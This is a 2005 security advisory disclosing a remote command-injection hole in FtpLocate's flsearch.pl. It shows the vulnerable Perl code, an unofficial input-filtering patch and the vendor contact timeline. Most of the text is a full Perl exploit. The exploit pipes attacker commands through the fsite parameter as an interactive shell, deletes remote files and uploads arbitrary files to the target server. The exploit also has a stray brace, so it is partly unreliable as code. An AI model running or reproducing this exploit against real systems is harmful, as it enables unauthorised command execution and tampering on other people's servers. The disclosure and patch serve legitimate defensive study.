Chroot Security Group Advisory 2005-07-25
Remote arbitrary code execution in FtpLocate 2.02 (current)
Summary:
FtpLocate is a ftp search engine supporting filename and description search.
A remote attack can run arbitary commands with the web server's privileges by
exploiting a unfiltered parameter in flsearch.pl.
Details:
FtpLocate contains a vulnerability that can allow an attacker to execute
arbitrary commands. The vulnerability is due to improper input validation of
user-supplied parameters (fsite) by the flsearch.pl script. Remote attackers
can run arbitary commands with the web servers's privieges by adding a "|" or
";".
Vuln. Systems:
FtpLocate 1.5 - 2.02
Vuln. Code:
---
/ftplocate-2.02/bin/flsearch.pl :
# line 23 - 60
$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);
...
if ( $fsite eq "" ) {
...
} else {
$resultfname=$query_raw."-$fsite";
...
}
...
open (L, "$CACHEDIR/$resultfname"); # Game Over 1
---
/ftplocate-2.02/bin/flsearch.pl:
# line 53
do_flsearch($client, $query, $fsite, $resultfname);
/ftplocate-2.02/bin/flmodule.pl:
# line 526 ? 537
if ( $fsite eq "" ) {
...
} else {
$optf="-F '$fsite'"; # for glimpse
...
}
# line 537
open(G, "$CMD_GLIMPSE -i -Ny $optf $optw -H $FILELISTDIR -e '$q'
2>/$TMPDIR/flsearch.tmp.$$|"); # Game Over 2
---
/ftplocate-2.02/bin/flmodule.pl:
# line 584
`$CMD_AGREP -i -e '$q' $setlist_str
/dev/null>'$CACHEDIR/$resultfname'`; # Game Over 3
---
/ftplocate-2.02/bin/flmodule.pl:
# line 589
`$CMD_AGREP -i -e '$q' $setlist_str
/dev/null>'$CACHEDIR/$resultfname'`; # Game Over 4
---
Unofficial Patch:
diff -urN flsearch.pl.orig flsearch.pl
--- flsearch.pl.orig 2005-07-22 17:48:52.502670968 +0800
+++ flsearch.pl 2005-07-22 17:56:00.979532584 +0800
@@ -20,7 +20,10 @@
$starttime=gettimeofday(); $starttimestr=timestr();
$query=clean_str($input{'query'}); $query_raw=CGI::escape($query);
-$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);
+$fsite=clean_str($input{'fsite'});
+# dangerous characters
+$fsite =~ s/[\/\"\'\`\|\<\>\\\(\)\[\]\{\}\$\s;&]//g;
+$fsite_raw=CGI::escape($fsite);
$page=$input{'page'};
$client=ip2fqdn(client_ip());
Vendor Response:
2005.07.15 Vendor notified via email.
2005.07.19 Vendor notified via email, again.
2005.07.25 No response. Advisory released.
Exploit Code:
#!/usr/bin/perl
#
# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE
#
# newbug Tseng [at] chroot.org
#
sub my_socket
{
my $s=IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 80,
Proto => "tcp") or die "socket: ";
}
sub ch2hex
{
$chr = $_[0];
$out="";
for($i=0;$i<length($chr);$i++)
{
$ch = substr($chr,$i,1);
if($ch eq "\"")
{
$out.="%5c%22";
}
elsif($ch eq "\$")
{
$out.="%5c%24";
}
elsif($ch eq "\@")
{
$out.="%5c%40";
}
else
{
$out.="%".sprintf("%2.2x",ord($ch));
}
}
$out;
}
sub upload_file
{
print "local file: ";
chomp($lfile = <STDIN>);
print "remote file: ";
chomp($rfile = <STDIN>);
my $socket = &my_socket($host);
print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";
close $socket;
print "remove $host:$rfile done.\n";
my @DATA = `cat $lfile`;
$num=1;
$total = scalar @DATA;
foreach $DATA (@DATA)
{
$DATA = &ch2hex($DATA);
my $socket = &my_socket($host);
print $socket "GET
$cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";
print "Send lfile \"$lfile\" to $host:$rfile ...
($num/$total)\n";
sleep(1);
close $socket;
$num++;
}
}
use IO::Socket::INET;
print "FtpLocate flsearch.pl remote exploit\n";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "")
{
$port = 80;
}
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{
$ver = "1.0";
}
print "cmd/upload (cmd): ";
chomp ($opt = <STDIN>);
if($opt eq "")
{
$opt = "cmd";
}
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{
$cgi = "/cgi-bin/ftplocate/flsearch.pl";
}
if($ver eq "1.0")
{
$junk = "HTTP/1.0\n\n";
}
}
else
{
$junk = "HTTP/1.1\nHost: $host\nUser-Agent: Mozilla/5.0 (X11; U; Linux
i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nAccept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\nAccept-Language:
zh-tw,en-us;q=0.7,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset:
Big5,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\n\n";
}
if($opt eq "cmd")
{
while(1){
print "h4ck3r\@[$host]:~\$ ";
chomp ($cmd = <STDIN>);
if($cmd ne "")
{
print "Send command \"$cmd\" to $host ...\n";
$socket = &my_socket($host);
$cmd =~ s/\s/%20/g;
print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";
print "done.\n";
}
}
}
elsif($opt eq "upload")
{
&upload_file($lfile);
}
print "done.\n";
